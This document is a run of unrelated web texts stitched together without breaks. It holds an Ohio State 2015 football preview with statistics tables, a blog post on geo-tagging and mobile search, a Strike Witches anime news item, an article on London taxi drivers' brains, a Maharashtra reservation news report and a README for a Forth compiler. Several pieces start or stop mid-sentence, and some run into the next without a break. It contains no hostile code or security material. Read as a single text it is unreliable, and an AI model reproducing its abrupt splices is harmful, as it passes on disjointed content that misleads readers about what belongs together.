And, perhaps most importantly, he has to figure out how to keep a team of 20-year-olds from getting too full of itself after it played some of the best football in recent memory. [Update: The challenges will start in week one, with four players — DE Joey Bosa, H-back Jalin Marshall, WR Corey Smith and H-back Dontre Wilson — suspended against Virginia Tech.]
These are first-world problems. They are problems you would ask to have. But they could be problems nonetheless. The team that few thought should have been in the Playoff is now the team everybody expects to defend its title. Can it?
2014 Schedule & Results
Record: 13-1 | Adj. Record: 13-1 | Final F/+ Rk: 1 Date Opponent Opp. F/+ Rk Score W-L Percentile
Performance Adj. Scoring
Margin Win
Expectancy 30-Aug vs. Navy 44 34-17 W 95% 39.2 99% 6-Sep Virginia Tech 33 21-35 L 49% -0.7 20% 13-Sep Kent State 107 66-0 W 100% 67.8 100% 27-Sep Cincinnati 47 50-28 W 86% 25.0 76% 4-Oct at Maryland 62 52-24 W 98% 48.3 100% 18-Oct Rutgers 81 56-17 W 99% 50.8 100% 25-Oct at Penn State 45 31-24 W 92% 32.5 97% 1-Nov Illinois 78 55-14 W 99% 53.3 100% 8-Nov at Michigan State 11 49-37 W 97% 42.7 94% 15-Nov at Minnesota 37 31-24 W 92% 33.2 95% 22-Nov Indiana 88 42-27 W 81% 20.8 89% 29-Nov Michigan 54 42-28 W 90% 29.7 96% 6-Dec vs. Wisconsin 25 59-0 W 100% 86.5 100% 1-Jan vs. Alabama 2 42-35 W 74% 14.9 18% 1-Jan vs. Oregon 3 42-20 W 98% 47.7 97%
Category Offense Rk Defense Rk S&P+ 47.6 1 17.4 11 Points Per Game 44.8 5 22.0 25
2. 86.5
For this year's preview series, I began using percentiles as a way to communicate how well a team played in each of its games last year. It is a useful concept -- most of us understand percentiles thanks to standardized testing -- and it gives us some clues to how a team's final ratings came to pass.
Only five teams put together 90th-percentile performances in at least 60 percent of their games last year.
Percentage of 2014 games in the 90th percentile or better
1. Ohio State (73%)
2. Alabama (71%)
3. Ole Miss (69%)
4. Oregon (67%)
5. Georgia (61%)
(Yes, Ole Miss. The Rebels were at 94 percent or higher in each of their first seven games before crumbling. Last three games: 23rd percentile, 96th percentile, 11th percentile.)
The Wisconsin performance was truly incredible. Ohio State's performance in the Big Ten title game was one of the season's 10 100th-percentile performances, but that doesn't do it justice. Adjusted Scoring Margin is intended to tell us how a team would have fared in a given week against a perfectly average opponent with average breaks.
Top 10 performances of 2014 by Adj. Scoring Margin
1. Ohio State vs. Wisconsin (plus-86.5)
2. Alabama vs. Texas A&M (plus-72.8)
3. Arkansas vs. Nicholls State (plus-68.9)
4. Ohio State vs. Kent State (plus-67.8)
5. Clemson vs. NC State (plus-67.3)
6. TCU vs. Ole Miss (plus-64.4)
7. Ole Miss vs. Memphis (plus-63.7)
8. Oklahoma vs. Louisiana Tech (plus-61.9)
9. Michigan vs. Appalachian State (plus-61.1)
10. USC vs. Notre Dame (plus-60.3)
Even among the season's most perfect performances, that game stood out. It belongs in a museum. Here, let's commemorate it.
Offense
FIVE FACTORS -- OFFENSE Raw Category Rk Opp. Adj. Category Rk EXPLOSIVENESS IsoPPP 0.94 21 IsoPPP+ 153.3 1 EFFICIENCY Succ. Rt. 51.2% 3 Succ. Rt. + 142.9 1 FIELD POSITION Def. Avg. FP 25.5 2 Def. FP+ 112.1 1 FINISHING DRIVES Pts. Per Trip in 40 4.9 23 Redzone S&P+ 134.1 4 TURNOVERS EXPECTED 23.4 ACTUAL 26 +2.6
Category Yards/
Game Rk S&P+ Rk Success
Rt. Rk PPP+ Rk OVERALL 9 1 1 1 RUSHING 9 1 1 7 PASSING 52 2 3 2 Standard Downs 2 1 5 Passing Downs 1 1 2
Q1 Rk 1 1st Down Rk 1 Q2 Rk 2 2nd Down Rk 1 Q3 Rk 4 3rd Down Rk 5 Q4 Rk 20
3. What changes?
Ed Warriner is anything but a new name. He was Kansas' offensive coordinator during the final three years of the Mark Mangino era (2007-09), when the Jayhawks ranked 23rd, 13th, and 34th in Off. S&P+. He moved to Notre Dame for two years and has been a part of Meyer's staff for all three years in Columbus.
So despite the loss of coordinator Tom Herman (now Houston's head coach), the Ohio State offense is in capable hands. Meyer offenses usually are.
Still, it will be interesting to see if anything changes. Despite injuries at quarterback -- Braxton Miller before the season, J.T. Barrett in the 12th game -- the Buckeye offense was a killing machine, ranking first in both efficiency (Success Rate+) and explosiveness (IsoPPP+). It hit the ground running (first in Q1 S&P+) and caught up when it fell behind schedule (first in Passing Downs S&P+). Ohio State averaged under 6.4 yards per play just twice all season, and both of the lesser performances (Virginia Tech, Penn State) came against defenses that ranked in the Def. S&P+ top 10.
Honestly, Warriner's biggest decisions will likely center around who sees the field and who touches the ball. Ohio State returns three excellent quarterbacks, an 1,800-yard rusher (plus, in J.T. Barrett and Braxton Miller, two quarterbacks who rushed for at least 1,000 non-sack yards in their respective last seasons), and four of last year's top six receivers. Plus, it goes without saying that they welcome another set of blue-chip recruits into the mix.
It will be almost impossible to keep everybody happy.
Quarterback
Note: players in bold below are 2015 returnees. Players in italics are questionable with injury/suspension.
Player Ht, Wt 2015
Year Rivals 247 Comp. Comp Att Yards TD INT Comp
Rate Sacks Sack Rate Yards/
Att. J.T. Barrett 6'1, 225 So. 4 stars (5.9) 0.9348 203 314 2834 34 10 64.6% 23 6.8% 7.9 Braxton Miller (2013, now a wide receiver) 6'2, 215 Sr. 4 stars (6.0) 0.9833 162 255 2094 24 7 63.5% 21 7.6% 7.1 Cardale Jones 6'5, 250 Jr. 3 stars (5.7) 0.8704 56 92 860 7 2 60.9% 5 5.2% 8.3 Stephen Collier 6'4, 225 RSFr. 3 stars (5.6) 0.8588 Torrence Gibson 6'4, 195 Fr. 4 stars (5.8) 0.9610 Joe Burrow 6'3, 215 Fr. 3 stars (5.6) 0.8970
4. Ladies and gentlemen, the world's first 3-QB formation
From the moment Barrett started playing incredible football (so, basically, the moment the Virginia Tech game ended), we began to realize that Ohio State was going to have an awkward decision in 2015.
Miller helped to lead the Buckeyes to a 24-2 record in 2012-13 but missed 2014 with injury, and now Meyer and company would have to decide whether to stick with the old guy or continue riding 2014's hot hand. Miller was a slightly more explosive rusher, but Barrett's passing numbers were slightly better, so there really wouldn't really be a wrong choice. [Update: Miller announced that is is going to focus on wide receiver.]
This was a tough decision even before Barrett got hurt and Cardale Jones erupted. Despite taking a majority of his snaps against Wisconsin, Oregon, and Alabama (three top-30 defenses), Jones averaged more yards per pass attempt, with lower sack and interception rates, than Barrett. Fumbles were an issue (he had more than Barrett in far fewer opportunities, and he had a particularly silly one in the national title game), but his upside was higher than either of the others'.
With Barrett still recovering from injury, we didn't get much of a feel for who might win. Both have tremendous cases.
Barrett was almost impossibly steady after the Virginia Tech game, completing 67 percent with 31 touchdowns to six interceptions in his final 10 games while ripping off huge runs when he needed to.
And Jones was the coolest cat in the postseason, shrugging off mistakes and making enormous passes. His line in three postseason games: 46-for-75, 742 yards, five touchdowns, two picks. He's almost too casual, but he was just awesome when it mattered.
Barrett is arguably the most important, as he is the likely starter in 2016 and beyond. But how in the world do you differentiate in 2015?
Running Back
Player Pos. Ht, Wt 2015
Year Rivals 247 Comp. Rushes Yards TD Yards/
Carry Hlt Yds/
Opp. Opp.
Rate Fumbles Fum.
Lost Ezekiel Elliott RB 6'0, 225 Jr. 4 stars (6.0) 0.9693 273 1878 18 6.9 6.6 46.5% 2 1 J.T. Barrett QB 6'1, 225 So. 4 stars (5.9) 0.9348 148 1094 11 7.4 6.2 55.4% 3 0 Cardale Jones QB 6'5, 250 Jr. 3 stars (5.7) 0.8704 67 352 1 5.3 4.9 49.3% 5 3 Curtis Samuel RB 5'11, 200 So. 4 stars (6.0) 0.9695 58 383 6 6.6 4.8 55.2% 1 1 Jalin Marshall HB 5'11, 205 So. 4 stars (6.0) 0.9830 25 145 1 5.8 4.3 52.0% 3 2 Rod Smith RB
24 101 4 4.2 3.0 29.2% 0 0 Dontre Wilson HB 5'10, 195 Jr. 4 stars (5.9) 0.9685 18 100 0 5.6 4.9 50.0% 2 1 Warren Ball RB 6'1, 225 Jr. 4 stars (5.8) 0.9143 18 85 0 4.7 1.7 50.0% 0 0 Bri'onte Dunn RB 6'0, 215 Jr. 4 stars (5.8) 0.9537 9 63 0 7.0 4.3 66.7% 1 1 Johnnie Dixon WR 5'11, 194 RSFr. 4 stars (5.9) 0.9639 4 20 0 5.0 1.8 50.0% 0 0 Mike Weber RB 5'10, 215 Fr. 4 stars (6.0) 0.9603
Receiving Corps
Player Pos. Ht, Wt 2015
Year Rivals 247 Comp. Targets Catches Yards Catch Rate Target
Rate %SD Yds/
Target NEY Real Yds/
Target RYPR Michael Thomas WR 6'3, 210 Jr. 4 stars (5.8) 0.8700 75 54 799 72.0% 19.6% 66.7% 10.7 160 10.7 139.5 Jalin Marshall HB 5'11, 205 So. 4 stars (6.0) 0.9830 52 38 499 73.1% 13.6% 67.3% 9.6 50 10.2 87.2 Devin Smith WR
48 33 931 68.8% 12.6% 66.7% 19.4 537 20.0 162.6 Evan Spencer WR
37 15 149 40.5% 9.7% 59.5% 4.0 -52 4.0 26.0 Dontre Wilson HB 5'10, 195 Jr. 4 stars (5.9) 0.9685 34 21 300 61.8% 8.9% 76.5% 8.8 44 9.7 52.4 Corey Smith WR 6'1, 195 Sr. 4 stars (5.8) 0.9031 33 20 255 60.6% 8.6% 57.6% 7.7 10 7.7 44.5 Ezekiel Elliott RB 6'0, 225 Jr. 4 stars (6.0) 0.9693 32 28 220 87.5% 8.4% 50.0% 6.9 -101 6.9 38.4 Jeff Heuerman TE
25 17 207 68.0% 6.5% 60.0% 8.3 4 8.3 36.1 Nick Vannett TE 6'6, 260 Sr. 4 stars (5.8) 0.9116 23 19 220 82.6% 6.0% 78.3% 9.6 0 8.8 38.4 Curtis Samuel RB 5'11, 200 So. 4 stars (6.0) 0.9695 14 11 95 78.6% 3.7% 78.6% 6.8 -33 7.3 16.6 Jeff Greene WR 6'5, 220 Sr. 3 stars (5.5) 0.8389 2 1 13 50.0% 0.5% 100.0% 6.5 0 N/A 2.3 Marcus Baugh TE 6'5, 255 So. 4 stars (5.9) 0.9597 2 1 2 50.0% 0.5% 50.0% 1.0 -11 1.2 0.3 Noah Brown WR 6'2, 222 So. 4 stars (5.8) 0.9187 James Clark WR 5'10, 185 So. 3 stars (5.6) 0.9105 Johnnie Dixon WR 5'11, 194 RSFr. 4 stars (5.9) 0.9639 Terry McLaurin WR 6'1, 200 RSFr. 4 stars (5.8) 0.9051 Parris Campbell WR 6'1, 205 RSFr. 4 stars (5.8) 0.9359 K.J. Hill WR 6'0, 190 Fr. 4 stars (5.9) 0.9304 Alex Stump WR 6'3, 193 Fr. 3 stars (5.7) 0.8973
5. Distributing the touches
First, let's acknowledge that Ohio State must replace three veteran receivers, one of whom happened to be the most explosive receiver in America.
Evan Spencer and tight end Jeff Heuerman were steady contributors for three seasons, and Devin Smith's averages (28.2 yards per catch, 69 percent catch rate) would have been unrealistic in a video game. Smith was targeted barely three times per game and almost finished with 1,000 yards. When you've got the nation's best run game and the nation's best deep threat, you should almost never be stopped.
And while we're at it, Ohio State's line must replace its right tackle (Darryl Baldwin) and two veteran contributors (Antonio Underwood, Joel Hale).
Of course, it would be a lot easier to worry if you didn't also notice who returns.
Ezekiel Elliott started 2014 slowly after dealing with wrist surgery in August; he averaged 5.5 yards per carry through the first seven games. But he averaged 6.8 over the final five, then put together maybe the best postseason you'll ever see from a running back: 76 carries, 696 yards, eight touchdowns. His long touchdown run completed the upset of Alabama, and his efficient running (and four scores) put away Oregon.
He will begin the season a Heisman favorite, and he's got at least four former four-star recruits backing him up.
While Smith stole the show with his impossible averages, Michael Thomas and Jalin Marshall averaged at least 9.6 yards per target while sharing more than eight targets per game. They're back, as are Dontre Wilson, Corey Smith, new starting tight end Nick Vannett, and, yes, a beaucoup of blue-chip freshmen and sophomores waiting for an opportunity.
And then there's the line. Ohio State welcomed back only one starter last fall (tackle Taylor Decker), and it didn't matter. Sack rates were a bit of an issue, due in part to Barrett's mobility (dual-threats tend to take more sacks), but the run-blocking numbers were stellar. And even if blocking for Elliott is pretty easy, a line that returns four starters probably isn't going to be worse at it.
Offensive Line
Player Pos. Ht, Wt 2015
Year Rivals 247 Comp. Career Starts Honors/Notes Pat Elflein RG 6'3, 300 Jr. 3 stars (5.5) 0.8420 16 2014 1st All-Big Ten Taylor Decker LT 6'8, 315 Sr. 4 stars (5.8) 0.9290 29 2014 2nd All-Big Ten Billy Price LG 6'4, 315 So. 4 stars (5.8) 0.9157 15 Jacoby Boren C 6'2, 285 Sr. 3 stars (5.6) 0.8702 15 Darryl Baldwin RT
15 Antonio Underwood RG
1 Joel Hale LG
0 Chase Farris RT 6'5, 310 Sr. 4 stars (5.8) 0.9248 0 Jamarco Jones LT 6'5, 310 So. 4 stars (5.9) 0.9696 0 Evan Lisle RG 6'7, 305 So. 4 stars (5.9) 0.9646 0 Marcelys Jones LG 6'4, 315 So. 4 stars (5.8) 0.8806 0 R.J. Morris C 6'2, 305 So. NR NR 0 Demetrius Knox LG 6'4, 305 RSFr. 4 stars (6.0) 0.9518
Kyle Trout OL 6'6, 310 RSFr. 4 stars (5.8) 0.9010
Grant Schmidt RT 6'6, 300 Fr. 4 stars (5.8) 0.8727
Isaiah Prince OL 6'7, 280 Fr. 4 stars (6.0) 0.9496
Matthew Burrell OL 6'5, 310 Fr. 4 stars (5.9) 0.9493
Keven Feder OL 6'9, 305 Fr. 4 stars (5.8) 0.8700
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Defense
FIVE FACTORS -- DEFENSE Raw Category Rk Opp. Adj. Category Rk EXPLOSIVENESS IsoPPP 0.78 28 IsoPPP+ 127.1 12 EFFICIENCY Succ. Rt. 38.9% 34 Succ. Rt. + 113.9 23 FIELD POSITION Off. Avg. FP 34.1 8 Off. FP+ 110.1 2 FINISHING DRIVES Pts. Per Trip in 40 4.6 88 Redzone S&P+ 101.7 56 TURNOVERS EXPECTED 26.6 ACTUAL 33.0 +6.4
Category Yards/
Game Rk S&P+ Rk Success
Rt. Rk PPP+ Rk OVERALL 19 14 19 12 RUSHING 34 42 45 38 PASSING 29 8 8 9 Standard Downs 18 19 18 Passing Downs 11 22 11
Q1 Rk 36 1st Down Rk 8 Q2 Rk 11 2nd Down Rk 19 Q3 Rk 25 3rd Down Rk 19 Q4 Rk 17
6. Masking your weakness
If opponents weren't always losing, they might have been better able to take advantage of the Buckeyes' run defense.
It was by no means bad -- 42nd in Rushing S&P+ isn't exactly 100th -- but it was less than elite, at least against certain opponents. Navy carved the Buckeyes up with its option attack, Indiana's Tevin Coleman rushed for 228 yards on 27 carries, and Alabama's Derrick Henry and T.J. Yeldon carried 23 times for 142 yards.
Everybody else struggled, mind you, but this was a chink in Ohio State's armor.
Offense and defense complement each other, and with Ohio State's offense wrecking shop for most of the year, opposing offenses had to take risks, and the Buckeye defense was more than ready to take advantage. Joey Bosa, Darron Lee, and Michael Bennett combined for 28 sacks, all four starting defensive backs defensed at least eight passes, and despite a passive run defense, the Buckeyes fielded one of the most disruptive units in the country. Their 20 percent Havoc Rate ranked 11th in the country and second in the Big Ten.
Defensive Line
Name Pos Ht, Wt 2015
Year Rivals 247 Comp. GP Tackles % of Team TFL Sacks Int PBU FF FR Joey Bosa DE 6'6, 275 Jr. 4 stars (6.0) 0.9809 15 47.0 5.8% 21.0 13.5 0 1 4 1 Adolphus Washington DT 6'4, 290 Sr. 5 stars (6.1) 0.9884 15 36.5 4.5% 10.5 4.5 0 3 1 0 Michael Bennett DT
15 32.0 3.9% 14.0 7.0 0 3 3 0 Steve Miller DE
15 27.0 3.3% 6.5 1.0 1 1 1 0 Rashad Frazier DE
12 10.0 1.2% 3.5 2.0 0 0 1 0 Tommy Schutt DT 6'3, 290 Sr. 4 stars (5.9) 0.9601 12 9.0 1.1% 1.0 0.0 0 1 0 0 Jalyn Holmes DE 6'5, 265 So. 4 stars (6.0) 0.9622 9 8.5 1.0% 1.0 0.0 0 0 0 0 Tyquan Lewis DE 6'4, 260 So. 4 stars (5.8) 0.8978 13 6.0 0.7% 2.5 0.5 0 0 0 0 Donovan Munger DT 6'4, 300 So. 3 stars (5.7) 0.8982 10 3.5 0.4% 1.0 0.0 0 0 0 0 Joel Hale DT 6'4, 295 Sr. 3 stars (5.7) 0.8756 Michael Hill DT 6'3, 295 So. 4 stars (5.9) 0.9240 Tracy Sprinkle DT 6'3, 290 So. 3 stars (5.7) 0.8594 Sam Hubbard DE 6'5, 265 RSFr. 3 stars (5.7) 0.9230 Darius Slade DE 6'4, 255 RSFr. 3 stars (5.6) 0.8457 Jashon Cornell DE 6'3, 265 Fr. 4 stars (5.9) 0.9557 Dre'Mont Jones DE 6'4, 265 Fr. 4 stars (5.8) 0.9383
7. The line has questions to answer
Granted, the Ohio State offense might not be |
and boom! – instant reviews, coupons, and other information to help you choose the best remedy for what ails you. No need to type “cold medicine” or see stuff on a map. Just the information you want, right away, because your phone better understands your physical context.
Now, zoom out a bit, and see what’s happening in your block and then the larger neighborhood. Zoom out more and get information on your city. Once you’ve zoomed out to the max, it’s like having no geographic filter on at all.
Remember, we’re talking about interacting with this information via an Android phone, iPhone, or Windows Phone, so you’ll be doing the zooming in and out with just a simple sliding gesture of your finger on the left-side of the screen. With a sufficiently fast data connection (and some good engineering from Google and other search providers), the results should change fairly instantaneously, giving you a nice intuitive sense for how to manage your zooming.
I’ve been thinking about this kind of slider-based approach to defining our context for improved information retrieval. It’s part of something I call “contextual computing” and geography is just one of the dimensions to take into account. I’ll be sharing more about these ideas over the course of this year.
Tools for Setting Geo Tags
I want this phone right now! Don’t you? I mean, you just need to do a little creative brainstorming to see how the kind of geo tagging of information I’m talking about here would really change the way we interact with our surroundings. Well, it’s coming.
To get there though, we need to start tagging a whole lot of things with geo tags. And to do that, we’re going to need some tools. Some of them are already here – on Google Maps. Just click “My places” then “Create Map” for a set of tools to help you place marks, lines and shapes anywhere you want on your maps.
That’s how you do it today – from your desktop. But that’s a pain. Far better to do it from your phone – on location. That’s where geo-tagging services like geoloqi are stepping in. Geoloqi allows you to leave a “Geonote” in a particular location so that it will pop up as a reminder whenever you’re near it. Want a reminder to buy milk when you’re at the convenience store? Just pop in a Geonote reminder.
Mapping isn’t restricted to the outside either. It’s moving into our buildings and other aspects of our built environment. Check out meridian to look at the extremely detailed maps they’re doing of places like the famous Powell’s Books in Portland.
Google is actively pursuing indoor mapping as well. Check out this “streets view” surround image of the actual insides of a shop, available from within Google Maps:
And check out their directions for uploading floor plans so that they can be integrated in with Google Maps. Wow. This space is really heating up and Google is pouring a lot of resources into it.
People Powered
Imagine millions of people walking around tagging information to locations to make it more useful. Sure, there will inevitably be more systematic, automated ways of doing this kind of tagging, such as RFID and other tricks. But in the end, much of this will be done by the power of the crowd.
In a way, it’s analogous to the way that we make information more useful via social networks. When we post stuff on Facebook, Twitter and Google+, we’re essentially adding a social tag that says “I endorse this link and think it may be interesting to you.” In this sense, people are “Information Networkers” in that they network, or connect, information to other people by using these social networks. Going forward, Information Networkers will extend the way they connect information by also tagging it to place. I see this place-tagging as having a potentially renaissance-like impact on local news.
We will tag personal notes to place, as you can now do with geoloqi. We will also make some of those notes public, and that will fundamentally change the business of Yelp and other place-based review sites. My reviews for certain places will no longer be contained in data structures of these websites; they will instead be open and free for any web service to grab if they know what to do with my geo tags. And just as people use web bookmarking services like del.icio.us and Diigo to tag existing web pages by topic today, these and other services will evolve to extend these tags to include location. Twitter’s Tweet Location feature could also be morphed to serve this end, and is already adding to the cloud of geo-tagged bits of information floating around us.
In all likelihood, we won’t even be aware of the most powerful geo-tagging we’ll do, as Google increasingly uses our search location to refine the geo relevance of information. When lots of people search for Eiffel Tower while standing in front of it, for example, there’s a good probability the sites they visit are related to that spot. Google tracks search query location today and even makes it available, by topic, on a city-by-city basis on Google Trends.
Google has long since used crowd sourcing to build its core search business, so what I’m talking about here with people-powered locational context is just an extension of the way they currently build the value of their search services. It also partially explains why the Android mobile platform is so important and fits so nicely with Google’s overall strategy.
Who Controls the Geo Tags? We Do!
So here’s a critical question – who actually controls what tags show up in which particular places? The answer to this question is thornier than you might think. It pits property rights against freedom of speech, and I predict it will be the subject of much legal controversy in the years to come.
As geo-tagging tools proliferate, people will tag all kinds of places with all kinds of information, and sometimes the interests of geo taggers will clash with the owners of the places being tagged.
Let’s say you’re a fan of the Monterey Bay Aquarium’s work to ensure sustainably harvested seafood. You could set up a geo-fence to point people to recommendations for which fish are and aren’t ok to eat when they open their browser in front of the seafood section of your local market. That’s good for you, good for me, and good for the planet – but if you’re the store manager, you might not be so happy. What he or she wants is for people to see is information about the quality of the store’s seafood or maybe some coupons, but not “do-gooder” trying to convince you not to buy one of their more profitable items.
It gets thornier still. What about dissatisfied customers leaving complaints geo-tagged for the entrance of a store or restaurant? What about spam and obscenities? These are tough questions, many of which will undoubtedly have to be resolved in a court of law.
Yes, business owners’ problems tagging have just shifted from spray paint to software-based geo-tags, and as legitimate as those concerns will be, in the end, I believe we will need to decide them in favor of free speech. If the only geo-tagged information we get when we walk into a McDonalds restaurant is what its franchise owner wants us to see, we’ve just lost an important aspect of free speech and a critical means for helping to encourage good behavior by the various institutions in our lives. It will get messy. It will get ugly. But it’s essential that individuals be allowed to control what layers of information are tagged to the physical spaces that surround them.
This is important stuff and these issues will crop up regularly in the years ahead.
There’s No App for That!
Today, geo-tagged information reaches us on our phones through lots of little iPhone and Android apps. Remember the seafood guidance I mentioned above? Well, there’s an app for that.
This app-centric approach means that for every little geographically-relevant information need I have, whether it’s looking up seafood or tracking local emergencies, I need to remember which app to use and that there even was an app for that in the first place. This is not how people behave, and it’s ultimately why most apps based exclusively on the value of geo-tagged information are ultimately doomed to fail.
As the web moves to HTML5, your browser will increasingly support geolocation, which is going to mean a lot for your phone. When that happens, the need for all these little geo-tagged apps will go away and simply be replaced by websites marked up with really good geo-tagged information. That way, when you’re standing someplace and want some information about it, you simply open your browser – and boom – there it is.
Of course, the reality will be more complicated. We will need to make trade-offs between what we are looking for and where we are looking for it, and I have some ideas for that which I will share in a future post. We’ll also need to be able to deal with geo-spam to make sure we aren’t deluged with geo-tagged info garbage.
Why This Matters
Once hundreds of millions of smart phone users have this kind of browser-based, geo-tagged information experience, demand for truly local content will skyrocket.
Much of that demand will be for information on local restaurants, stores, bars, coffee shops, and other businesses. Google and Facebook see huge advertising dollar there, and that’s what’s fueling their heavy investments in localized information services, which is a very good thing for small businesses and communities around the world.
A decent portion of that demand for local information will also be for news and information that’s not strictly commercial. What’s happening with this park? Has the construction permit for that new apartment building down the street been approved? How dangerous is this part of town? We will have much richer answers to these types of questions and a much deeper understanding of what’s happening around us all the time, which will also be a very good thing for small businesses and communities around the world.
It’s true that communication technologies helped turn our world into a “Global Village” where place often seems to no longer matter. But our next generation of mobile technologies is now reaching a turning point that I believe will reverse that state of affairs.
Place-based software will increasingly help us re-connect with the places that matter most to us in life. It will even the odds for smaller, local businesses and help us explore and feel more connected with the nooks and crannies of our neighborhoods, cities, and natural surroundings. These new communication tools will introduce new challenges, to be sure, but I believe they will also reinvigorate our attachment to place and build stronger connections with our communities, and that, in the end, it’s those kinds of connections that matter most to the human soul and why the coming geo-tag revolution matters most.
Composited image made up of package image by donovanbeeson and phone image by Johan Larsson. Thank you.
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TwitterThe cast of both the Strike Witches and Brave Witches anime announced during the "Minna to Issho ni Dekiru Koto! Fes" live event on August 19 that the Strike Witches franchise will launch a 10th anniversary project in 2018, a decade after the first television anime's airing. Illustrator Humikane Shimada added on Twitter that the project is not yet at the stage where he can discuss specifics.
The franchise's story centers on an alien invasion by beings known as the Neuroi. The only way to damage and ultimately defeat them lies in Witches, girls who possess magical powers and are capable of wielding Striker Units that enhances their abilities and allow them to maneuver in the air. The characters in the franchise are often based on real-life aerial aces from various nationalities.
The series is based on illustrator Humikane Shimada's mecha -girl illustrations, and Shimada is credited as the original creator and character designer for the franchise. The mixed-media franchise began with a manga in 2005, and a light novel series in 2006, both of which focus on different characters from the eventual Strike Witches anime. The anime premiered in 2008, and it spawned a sequel, a film, and OVA series. The franchise also spawned the Brave Witches anime last October, as well as numerous spinoff manga, novels, and games.
Source: Web Newtype via OtakomuIf you want to know the quickest route to a restaurant or hotel, a taxi driver may be your best bet. And new research suggests their savvy skills are imprinted in their brains.
Turns out, the intensive training required of London taxi driver candidates may alter the drivers' brains, changing the part of the brain in charge of memory and spatial navigation, the new study suggests.
The training is known as "the knowledge" and includes memorizing 25,000 London streets and their complicated layouts, as well as 20,000 landmarks. After learning "the knowledge," trainees must take a series of exams, with only about half of the candidates ultimately passing.
Researchers conducted memory tests and took brain scans using magnetic resonance imaging of 79 male trainee London taxi drivers at the start of their training. They took follow-up MRI images three to four years later, just after the drivers' final qualification exams. The researchers also took MRI brain scans of 31 male participants who didn't undergo training and who served as controls.
At the beginning of the study, the participants showed no differences in either brain structure or memory. Three to four years later, however, the researchers found an increase in gray matter in the posterior hippocampi, or the back part of the hippocampus, among the 39 trainees who ultimately qualified as taxi drivers. This change was not observed in the non-taxi drivers or trainees who had failed the exams.
"The human brain remains 'plastic' even in adult life, allowing it to adapt when we learn new tasks," study researcher Eleanor Maguire of University College London said in a statement. "By following the trainee taxi drivers over time as they acquired — or failed to acquire — 'the knowledge,' we have seen directly and within individuals how the structure of the hippocampus can change with external stimulation."
Qualified taxi drivers showed better memory performance for London-based information during the follow-up testing than controls or those who failed the test; however, they displayed "surprisingly poorer learning and memory for certain types of new visual information," compared with controls, the researchers write online today in the journal Current Biology, "suggesting there might be a price to pay for the acquisition of their spatial knowledge."
The qualified taxi drivers' poorer performance when it came to retaining certain visual information may be linked to reduced anterior hippocampal volume that compensated for the development of more gray matter volume in their posterior hippocampi, according to the study authors.
Because the study results suggest that the brains of the qualified taxi drivers changed to accommodate the knowledge of London's streets, the findings may be used in future programs for lifelong learning and rehabilitation after brain injury, the researchers said.
Even so, the researchers can't be sure that an underlying biological mechanism didn't give these successful taxi drivers more plastic brains, for instance. "What is not clear is whether those trainees who became fully-fledged taxi drivers had some biological advantage over those who failed. Could it be, for example, that they have a genetic predisposition towards having a more adaptable, 'plastic' brain?" Maguire said. "In other words, the perennial question of 'nature versus nurture' is still open."
As for how the results would hold up in the United States, the jury is out, as the "training" is not the same. In the U.S., the preparation requirements for taxi drivers differ from state to state, with local taxi commissions setting licensing standards for driving experience and training. For example, the New York City Taxi and Limousine Commission (TLC) requires that a person applying to become a licensed taxi driver must have a valid Department of Motor Vehicles chauffeur's license (which involves a short written exam on taxi-specific driving laws) issued by the state of New York, New Jersey, Connecticut or Pennsylvania. The TLC also requires that applicants pass a drug test, have a social security card, be at least 19 years old and have no outstanding parking violations.
You can follow LiveScience writer Remy Melina on Twitter @remymelina. Follow LiveScience for the latest in science news and discoveries on Twitter @livescience and on Facebook.
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Brains of taxi drivers work differently than average people
If you want to know the quickest route to a restaurant or hotel, a taxi driver may be your best bet. And new research suggests their savvy skills are imprintedMumbai: Congress party member and opposition leader in the Maharashtra assembly Radhakrishna Vikhe-Patil on Wednesday warned that if the state government did not decide quickly on reservations for Marathas, Muslims and Dhangars (a shepherd community), the state could witness chaos similar to the one unfolding in neighbouring Gujarat.
At least seven people have died in clashes in Gujarat and the Army had to be called in after a massive agitation by the Patidar community demanding inclusion in the list of other backward classes (OBCs) turned violent.
“If the state government doesn’t take a decision on giving reservations to Marathas, Muslims and Dhangars within a fortnight, Maharashtra might also erupt like Gujarat... We are warning the government that if they don’t act, the situation in Maharashtra will be as explosive as Gujarat and if any untoward incident happens, it will be solely the responsibility of the state government," Vikhe-Patil said.
In June 2014, the state government, then headed by the Congress-Nationalist Congress Party combine, created a special category called socially and economically backward classes and gave 16% and 5% reservations to Marathas and Muslims respectively in government-run educational institutions and government jobs.
The Bombay high court stayed the decision but allowed 5% reservations to Muslims in government-run educational institutions.
In April, the Bharatiya Janata Party and Shiv Sena government issued a fresh notification giving reservation to Marathas but scrapped reservation for Muslims, claiming there was no provision for religion-based reservation in the Constitution. However, the decision was not implemented as the Bombay high court stay continues.
Dhangars, who are currently included in Other Backward Classes (OBC) wants the status of Scheduled Tribe as they claim their brethren in other states such as Rajasthan, Madhya Pradesh, Jammu and Kashmir among other enjoy similar status. The BJP, in the run-up to assembly elections, had assured reservations to Dhangars in the ST category, without affecting the existing quota for STs.
Communities such as Mahadev-Kolis, Bhill, Gonds and Katkaris are against including Dhangars in the ST category as they claim that Dhangars are socially and economically more affluent and if they are included in ST category, then all the benefits of ST reservations will flow to them.This is yourforth : a compiler and scripter for the Forth language for Linux. Building the compiler from the single assembler file is surprisingly easy and the elaborate documentation, in the style of "literate programming", invites modifications, hence the name yourforth. The inspiration for this came from jonesforth, like this one, a Forth for Linux. It is an independant effort, but I have borrowed from his pedagogicial approach. jonesforth is based partially on my ciforth, that you can find on github. The goal is to provide you with insight into how a compiler can be implemented. A set of exercises guides you if you want to go hands on. All the rest is available in the assembler file yourforth.fas. This include the -- one line -- command how to build yourforth, so don't expect a separate build.sh or Makefile Making your own Forth may be the true spirit, we don't loose track of the fact that Forth is a standardized language. Compared to ISO Forth, yourforth has a few omissions and still fewer small incompatibilities, documented separately. Compared to jonesforth yourforth follows ciforth more closely. So yourforth can be a first step in bringing up a complete Forth with comprehensive documentation, comprehensive tests,an elaborate library and facilities for turnkey programs.
I don't know whether you are familiar with programming from a text console in linux. There are a few things related to that collected in pitfalls.txt
You can roam around in yourforth.pdf and get a pretty good idea of what is possible. A considerable part of the ALSO's are void. These indicate functions that were ommitted compared to ISO or a fuller Forth.
yourforth.fas : annotated source exercise.txt : set of exercises tsuiteyour.frt : Does my forth still work? yourforth.html : usage information yourforth.pdf : documentation based on ciforth
---------- background -------------------
isoforth.txt : what if I want to go standard? pitfalls.txt : linux do and don't information examples/ : directory with examples
